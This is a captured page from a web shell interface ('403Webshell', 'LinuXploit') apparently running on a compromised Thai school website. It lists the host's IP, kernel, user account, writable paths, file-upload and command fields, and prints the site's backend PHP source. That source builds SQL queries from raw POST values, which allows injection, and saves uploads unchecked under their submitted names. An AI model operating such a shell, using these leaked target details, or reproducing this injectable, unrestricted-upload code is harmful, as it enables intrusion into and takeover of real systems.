403Webshell
Server IP : 27.254.96.235  /  Your IP : 216.73.216.44
Web Server : Apache/2
System : Linux cs95 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : piboonsa ( 1055)
PHP Version : 8.0.30
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/piboonsa/domains/piboonsawasdee.ac.th/public_html/backend/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/piboonsa/domains/piboonsawasdee.ac.th/public_html/backend/doadd_journal.php
<?php 
	include("passlog.inc.php");
	include("lib/config.php");
	
	$id = $_POST['id'];
	$status = $_POST['status'];
	$topic = htmlspecialchars($_POST['topic'], ENT_QUOTES);
	$detail = htmlspecialchars($_POST['detail'], ENT_QUOTES);
    $doc = $_FILES['doc']['name'];
	$pic = $_FILES['pic']['name'];
	
	if(empty($topic) || empty($status)){
		$msg = ERR_REQ_INFO;
		echo '<META HTTP-EQUIV="Refresh" CONTENT="0; URL=add_journal.php?id='.$id.'&Page='.$_POST['Page'].'&msg='.$msg.'">';
		exit;
	}
	
	if($id){
        // Document
		if($doc){
			$query = $db->query("SELECT document FROM journal WHERE id = '$id'");
			$rs = $db->getresult($query);
			if($rs['document']){
				unlink(IMG_JN_DOC.$rs['document']);
			}
			$newdoc = date("dmYHis").$doc;
			copy($_FILES['doc']['tmp_name'], IMG_JN_DOC.$newdoc);
		}
        $sql = "UPDATE journal SET topic = '$topic', detail = '$detail', ";
        if($doc){
            $sql .= "document = '$newdoc', ";
        }
        $sql .= "status = '$status', updated_date = now(), updated_by = '".$_SESSION['acc_username']."' WHERE id = '$id'";
		$db->query($sql);
		$last_id = $id;
	}else{
        // Document
		if($doc){
			$newdoc = date("dmYHis").$doc;
			copy($_FILES['doc']['tmp_name'], IMG_JN_DOC.$newdoc);
		}
        $sql = "INSERT INTO journal SET topic = '$topic', detail = '$detail', ";
        if($doc){
            $sql .= "document = '$newdoc', ";
        }
        $sql .= "status = '$status', entered_date = now(), updated_by = '".$_SESSION['acc_username']."'";
        $db->query($sql);
		$last_id = $db->getlastid();
	}
	
	// add images
	if($pic){
		for($i=0;$i<count($pic);$i++){
			if($pic[$i]){
				if($id){
					$no = $i+1;
					$query = $db->query("SELECT * FROM journal_img WHERE j_id = '$id' AND no = '$no'");
					if($db->getcountrow($query) != 0){
						$rs = $db->getresult($query);
						unlink(IMG_JN.$rs['img']);
						$db->query("DELETE FROM journal_img WHERE j_id = '$id' AND no = '$no'");
					}
				}
				$N_pic = date("dmYHis").$pic[$i];
				copy($_FILES['pic']['tmp_name'][$i], IMG_JN.$N_pic);
				$num = $i+1;
				
				if($i == 0){
					$intro = $N_pic;
				}
				
				$db->query("INSERT INTO journal_img SET j_id = '$last_id', img = '$N_pic', no = '$num'");
			}
		}
	}
	
	if($intro){
		$db->query("UPDATE journal SET img = '$intro' WHERE id = '$last_id'");
	}
	
	echo '<META HTTP-EQUIV="Refresh" CONTENT="0; URL=journal.php?Page='.$_POST['Page'].'">';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit